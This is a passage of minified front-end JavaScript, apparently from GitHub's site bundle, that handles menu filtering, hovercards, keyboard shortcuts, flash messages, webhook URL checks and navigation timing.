o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return 